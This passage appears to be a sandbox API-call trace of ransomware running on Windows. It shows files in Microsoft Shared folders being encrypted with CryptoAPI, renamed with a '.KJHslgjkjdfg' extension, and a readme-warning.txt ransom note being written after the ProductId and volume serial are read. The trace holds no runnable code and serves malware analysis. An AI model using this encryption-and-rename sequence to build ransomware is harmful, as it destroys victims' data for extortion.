dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0167.112] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0167.112] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0167.181] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0167.181] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0167.181] GetProcessHeap () returned 0x990000 [0167.181] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x70) returned 0x9b2468 [0167.181] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b2468*, pdwDataLen=0x29df258*=0x70, dwBufLen=0x70 | out: pbData=0x9b2468*, pdwDataLen=0x29df258*=0x70) returned 1 [0167.181] CryptDestroyKey (hKey=0x9b6628) returned 1 [0167.181] WriteFile (in: hFile=0xf0, lpBuffer=0x9b2468*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b2468*, lpNumberOfBytesWritten=0x29df270*=0x70, lpOverlapped=0x0) returned 1 [0167.181] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0167.182] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0167.182] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0167.182] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0167.182] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0167.182] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0167.182] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0167.182] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.182] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2d7e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2d7e, lpOverlapped=0x0) returned 1 [0167.184] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2d80, dwBufLen=0x2d80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2d80) returned 1 [0167.184] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.184] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2d80, lpOverlapped=0x0) returned 1 [0167.184] CryptDestroyKey (hKey=0x9b6628) returned 1 [0167.184] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.184] SetEndOfFile (hFile=0xf0) returned 1 [0167.187] GetProcessHeap () returned 0x990000 [0167.187] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0167.187] GetProcessHeap () returned 0x990000 [0167.187] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0167.187] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.kjhslgjkjdfg")) returned 1 [0167.191] CloseHandle (hObject=0xf0) returned 1 [0167.192] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1 [0167.192] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1 [0167.192] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1 [0167.192] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1 [0167.192] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1 [0167.192] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0167.192] GetProcessHeap () returned 0x990000 [0167.192] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0167.192] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0167.192] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0167.193] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0167.202] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0167.202] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0167.202] GetProcessHeap () returned 0x990000 [0167.202] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0167.202] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0167.202] CryptDestroyKey (hKey=0x9b6628) returned 1 [0167.202] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0167.203] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0167.203] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0167.203] WriteFile (in: hFile=0xf0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0167.203] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0167.203] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0167.203] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0167.203] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0167.203] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.203] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xba5e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xba5e, lpOverlapped=0x0) returned 1 [0167.206] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xba60, dwBufLen=0xba60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xba60) returned 1 [0167.207] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.207] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xba60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xba60, lpOverlapped=0x0) returned 1 [0167.207] CryptDestroyKey (hKey=0x9b6628) returned 1 [0167.207] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbb34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.207] SetEndOfFile (hFile=0xf0) returned 1 [0167.210] GetProcessHeap () returned 0x990000 [0167.210] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0167.210] GetProcessHeap () returned 0x990000 [0167.210] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0167.210] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof.kjhslgjkjdfg")) returned 1 [0167.211] CloseHandle (hObject=0xf0) returned 1 [0167.211] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 0 [0167.211] GetProcessHeap () returned 0x990000 [0167.211] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0167.211] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0167.211] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df0a8 | out: pbData=0x9af7b0, pdwDataLen=0x29df0a8) returned 1 [0167.211] CryptDestroyKey (hKey=0x9b6628) returned 1 [0167.212] GetProcessHeap () returned 0x990000 [0167.212] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0167.212] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0167.212] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df0a8 | out: pbData=0x9af7f8, pdwDataLen=0x29df0a8) returned 1 [0167.212] CryptDestroyKey (hKey=0x9b6628) returned 1 [0167.212] GetProcessHeap () returned 0x990000 [0167.212] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f9a20 [0167.212] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0167.212] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f9a20, pdwDataLen=0x29df0a8 | out: pbData=0x9f9a20, pdwDataLen=0x29df0a8) returned 1 [0167.212] CryptDestroyKey (hKey=0x9b6628) returned 1 [0167.212] GetProcessHeap () returned 0x990000 [0167.212] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0167.212] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0167.212] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dec88 | out: pbData=0x9af840, pdwDataLen=0x29dec88) returned 1 [0167.212] CryptDestroyKey (hKey=0x9b6628) returned 1 [0167.212] GetProcessHeap () returned 0x990000 [0167.212] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0167.212] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0167.212] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dec88 | out: pbData=0x9b18c8, pdwDataLen=0x29dec88) returned 1 [0167.212] CryptDestroyKey (hKey=0x9b6628) returned 1 [0167.212] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29dec84 | out: phkResult=0x29dec84*=0xf0) returned 0x0 [0167.213] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dec90, lpcbData=0x29dec8c*=0x400 | out: lpType=0x0, lpData=0x29dec90*=0x30, lpcbData=0x29dec8c*=0x18) returned 0x0 [0167.213] RegCloseKey (hKey=0xf0) returned 0x0 [0167.213] GetProcessHeap () returned 0x990000 [0167.213] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0167.213] GetProcessHeap () returned 0x990000 [0167.213] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0167.213] GetProcessHeap () returned 0x990000 [0167.213] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0167.213] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0167.213] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea5c | out: pbData=0x9b18c8, pdwDataLen=0x29dea5c) returned 1 [0167.213] CryptDestroyKey (hKey=0x9b6628) returned 1 [0167.213] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0167.213] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0167.213] GetProcessHeap () returned 0x990000 [0167.213] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0167.214] wsprintfA (in: param_1=0x29deca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0167.214] wsprintfA (in: param_1=0x29df0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0167.214] GetProcessHeap () returned 0x990000 [0167.214] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0167.214] wsprintfW (in: param_1=0x29de084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\readme-warning.txt") returned 98 [0167.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0167.214] WriteFile (in: hFile=0xf0, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de080, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29de080*=0x3b3, lpOverlapped=0x0) returned 1 [0167.215] CloseHandle (hObject=0xf0) returned 1 [0167.216] GetProcessHeap () returned 0x990000 [0167.216] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9a20 | out: hHeap=0x990000) returned 1 [0167.216] GetProcessHeap () returned 0x990000 [0167.216] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0167.216] GetProcessHeap () returned 0x990000 [0167.216] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0167.216] GetProcessHeap () returned 0x990000 [0167.216] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0167.216] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0167.216] GetProcessHeap () returned 0x990000 [0167.216] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0167.216] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PROOF", cAlternateFileName="")) returned 1 [0167.216] GetProcessHeap () returned 0x990000 [0167.216] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x7a) returned 0x9b2468 [0167.216] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0167.220] GetProcessHeap () returned 0x990000 [0167.220] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0167.220] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0167.220] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0167.220] GetProcessHeap () returned 0x990000 [0167.220] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x27c) returned 0x9f9760 [0167.220] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1 [0167.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0167.223] GetProcessHeap () returned 0x990000 [0167.223] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0167.223] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0167.223] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0167.223] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x5, lpOverlapped=0x0) returned 1 [0167.228] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0167.229] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0167.229] GetProcessHeap () returned 0x990000 [0167.229] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0167.229] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, 